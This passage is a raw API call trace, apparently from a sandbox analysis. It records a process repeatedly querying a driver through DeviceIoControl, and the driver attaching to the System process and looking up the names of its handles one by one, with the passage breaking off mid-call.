[0063.101] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.101] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.101] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.101] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.101] PsAcquireProcessExitSynchronization () returned 0x0 [0063.101] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.101] ObReferenceObjectByHandle (in: Handle=0xffffffff8000010c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002b8e9e0, HandleInformation=0x0) returned 0x0 [0063.101] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.101] PsReleaseProcessExitSynchronization () returned 0x2 [0063.101] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.101] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e5044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e5044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.102] ObfDereferenceObject (Object=0xfffffa8002b8e9e0) returned 0x1 [0063.102] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.102] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.102] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.102] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.102] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.102] PsAcquireProcessExitSynchronization () returned 0x0 [0063.102] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.102] ObReferenceObjectByHandle (in: Handle=0xffffffff80000120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80044a7050, HandleInformation=0x0) returned 0x0 [0063.102] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.102] PsReleaseProcessExitSynchronization () returned 0x2 [0063.102] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.102] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e6044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e6044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.102] ObfDereferenceObject (Object=0xfffffa80044a7050) returned 0x1 [0063.102] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.102] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.102] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.102] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.102] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.102] PsAcquireProcessExitSynchronization () returned 0x0 [0063.102] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.102] ObReferenceObjectByHandle (in: Handle=0xffffffff80000124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80077ff050, HandleInformation=0x0) returned 0x0 [0063.102] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.103] PsReleaseProcessExitSynchronization () returned 0x2 [0063.103] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.103] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e7044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e7044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.103] ObfDereferenceObject (Object=0xfffffa80077ff050) returned 0x1 [0063.103] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.103] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.103] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.103] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.103] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.103] PsAcquireProcessExitSynchronization () returned 0x0 [0063.103] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.103] ObReferenceObjectByHandle (in: Handle=0xffffffff80000128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80077fc050, HandleInformation=0x0) returned 0x0 [0063.103] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.103] PsReleaseProcessExitSynchronization () returned 0x2 [0063.103] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.103] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e8044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e8044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.103] ObfDereferenceObject (Object=0xfffffa80077fc050) returned 0x1 [0063.103] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.103] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.103] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.103] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.103] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.103] PsAcquireProcessExitSynchronization () returned 0x0 [0063.103] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.103] ObReferenceObjectByHandle (in: Handle=0xffffffff8000012c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8004871f20, HandleInformation=0x0) returned 0x0 [0063.103] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.103] PsReleaseProcessExitSynchronization () returned 0x2 [0063.103] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.103] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038ea044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038ea044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.103] ObfDereferenceObject (Object=0xfffffa8004871f20) returned 0x1 [0063.103] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.103] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.103] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.104] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.104] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.104] PsAcquireProcessExitSynchronization () returned 0x0 [0063.104] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.104] ObReferenceObjectByHandle (in: Handle=0xffffffff80000130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8004870050, HandleInformation=0x0) returned 0x0 [0063.104] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.104] PsReleaseProcessExitSynchronization () returned 0x2 [0063.104] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.104] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038eb044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038eb044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.104] ObfDereferenceObject (Object=0xfffffa8004870050) returned 0x1 [0063.104] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.104] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.104] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.104] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.104] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.104] PsAcquireProcessExitSynchronization () returned 0x0 [0063.104] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.104] ObReferenceObjectByHandle (in: Handle=0xffffffff80000134, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8007ffc050, HandleInformation=0x0) returned 0x0 [0063.104] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.104] PsReleaseProcessExitSynchronization () returned 0x2 [0063.104] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.104] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038ec044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038ec044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.104] ObfDereferenceObject (Object=0xfffffa8007ffc050) returned 0x1 [0063.104] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.104] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.104] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.104] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.104] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.104] PsAcquireProcessExitSynchronization () returned 0x0 [0063.104] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.104] ObReferenceObjectByHandle (in: Handle=0xffffffff80000138, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8008fae050, HandleInformation=0x0) returned 0x0 [0063.104] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.104] PsReleaseProcessExitSynchronization () returned 0x2 [0063.104] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.105] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038ed044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038ed044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.105] ObfDereferenceObject (Object=0xfffffa8008fae050) returned 0x1 [0063.105] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.105] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.105] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.105] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.105] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.105] PsAcquireProcessExitSynchronization () returned 0x0 [0063.105] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.105] ObReferenceObjectByHandle (in: Handle=0xffffffff8000013c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8006dfd050, HandleInformation=0x0) returned 0x0 [0063.105] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.105] PsReleaseProcessExitSynchronization () returned 0x2 [0063.105] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.105] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038ee044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038ee044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.105] ObfDereferenceObject (Object=0xfffffa8006dfd050) returned 0x1 [0063.105] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.105] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.105] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.105] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0063.105] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.105] PsAcquireProcessExitSynchronization () returned 0x0 [0063.105] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.105] ObReferenceObjectByHandle (in: Handle=0xffffffff80000140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002910f20, HandleInformation=0x0) returned 0x0 [0063.105] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.105] PsReleaseProcessExitSynchronization () returned 0x2 [0063.105] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.105] ObQueryNameString (in: Object=0xfffffa8002910f20, ObjectNameInfo=0xfffffa80038ef044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ef044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.105] ObfDereferenceObject (Object=0xfffffa8002910f20) returned 0x1 [0063.105] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.105] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.105] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.106] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0063.106] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.106] PsAcquireProcessExitSynchronization () returned 0x0 [0063.106] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.106] ObReferenceObjectByHandle (in: Handle=0xffffffff80000148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003be2f20, HandleInformation=0x0) returned 0x0 [0063.106] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.106] PsReleaseProcessExitSynchronization () returned 0x2 [0063.106] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.106] ObQueryNameString (in: Object=0xfffffa8003be2f20, ObjectNameInfo=0xfffffa80038f0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.106] ObfDereferenceObject (Object=0xfffffa8003be2f20) returned 0x1 [0063.106] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.106] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.106] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.106] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0063.106] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.106] PsAcquireProcessExitSynchronization () returned 0x0 [0063.106] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.106] ObReferenceObjectByHandle (in: Handle=0xffffffff80000154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80043f1b50, HandleInformation=0x0) returned 0x0 [0063.106] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.106] PsReleaseProcessExitSynchronization () returned 0x2 [0063.106] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.106] ObQueryNameString (in: Object=0xfffffa80043f1b50, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.106] ObfDereferenceObject (Object=0xfffffa80043f1b50) returned 0x1 [0063.106] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.106] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.106] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.106] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0063.106] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.106] PsAcquireProcessExitSynchronization () returned 0x0 [0063.106] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.106] ObReferenceObjectByHandle (in: Handle=0xffffffff80000158, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80067fad00, HandleInformation=0x0) returned 0x0 [0063.106] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.106] PsReleaseProcessExitSynchronization () returned 0x2 [0063.106] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.107] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.107] ObfDereferenceObject (Object=0xfffffa80067fad00) returned 0x1 [0063.107] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.107] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.107] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.107] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0063.107] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.107] PsAcquireProcessExitSynchronization () returned 0x0 [0063.107] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.107] ObReferenceObjectByHandle (in: Handle=0xffffffff8000015c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003673de0, HandleInformation=0x0) returned 0x0 [0063.107] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.107] PsReleaseProcessExitSynchronization () returned 0x2 [0063.107] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.107] ObQueryNameString (in: Object=0xfffffa8003673de0, ObjectNameInfo=0xfffffa80038f3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.107] ObfDereferenceObject (Object=0xfffffa8003673de0) returned 0x2 [0063.107] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.107] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.107] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.107] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x4a, lpOverlapped=0x0) returned 1 [0063.107] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.107] PsAcquireProcessExitSynchronization () returned 0x0 [0063.107] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.107] ObReferenceObjectByHandle (in: Handle=0xffffffff80000160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80043f1400, HandleInformation=0x0) returned 0x0 [0063.107] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.107] PsReleaseProcessExitSynchronization () returned 0x2 [0063.107] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.107] ObQueryNameString (in: Object=0xfffffa80043f1400, ObjectNameInfo=0xfffffa80038f4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.107] ObfDereferenceObject (Object=0xfffffa80043f1400) returned 0x1 [0063.107] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.107] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.107] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.107] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: 